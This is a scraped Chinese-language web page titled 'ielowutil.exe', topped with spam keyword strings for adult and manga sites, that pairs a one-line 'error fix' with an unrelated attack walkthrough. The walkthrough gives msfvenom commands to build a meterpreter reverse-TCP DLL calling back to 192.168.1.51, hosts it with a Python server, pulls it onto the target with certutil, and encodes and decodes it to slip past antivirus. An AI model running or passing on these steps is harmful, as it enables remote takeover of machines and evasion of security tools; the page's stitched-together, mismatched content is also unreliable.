久久亚洲精品国产精品_羞羞漫画在线版免费阅读网页漫画_国产精品久久久久久久久久久久_午夜dj免费观看在线视频_希崎杰西卡番号

ielowutil.exe

前沿拓展:

ielowutil.exe

應(yīng)用程序錯誤解法:
1.檢查電腦是否存在**,請使用百度衛(wèi)士進行木馬查殺。

還是使用 msfvenom 工具為與攻擊機器的反向TCP連接生成有效負載。有效負載的格式在動態(tài)鏈接庫文件 .dll 中設(shè)置。命名為 dll.txt。成功執(zhí)行后,將在 root 目錄中創(chuàng)建文件。現(xiàn)在,要傳輸該文件,我們可以使用 Python One-liner 生成的 HTTP Server。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.51 lport=1234 -f dll > dll.txt
python -m SimpleHTTPServer 80

有效負載已托管在服務(wù)器上,在靶機上執(zhí)行有效負載之前,我們需要在攻擊計算機上啟動**,以捕獲在有效負載執(zhí)行后將生成的會話。

ielowutil.exe

成功啟動攻擊者的**之后再進入靶機。打開 PowerShell 終端。我們需要將有效負載下載到這臺機器上,并且必須謹慎進行。執(zhí)行命令:

certutil -urlcache -split -f http://192.168.1.51/dll.txt dll.txt | certutil -encode dll.txt edll.txt

該文件將被下載為文本文件,并被編碼為另一個文本文件。

現(xiàn)在要執(zhí)行有效載荷以損害受害者,我們必須對其進行解碼。使用 -decode 參數(shù)解碼有效負載并將其保存為 exploit.dll(殺毒軟件不會察覺)。第二運行此 DLL。

ielowutil.exe

回到攻擊機器,以查看我們的**生成并捕獲 meterpreter 的實例。運行 sysinfo 以查看目標系統(tǒng)的詳細信息。

ielowutil.exe

成功使用 Certutil 和惡意編碼的可執(zhí)行文件 Getshell。

拓展知識:

原創(chuàng)文章,作者:九賢生活小編,如若轉(zhuǎn)載,請注明出處:http://www.cddhlm.com/23772.html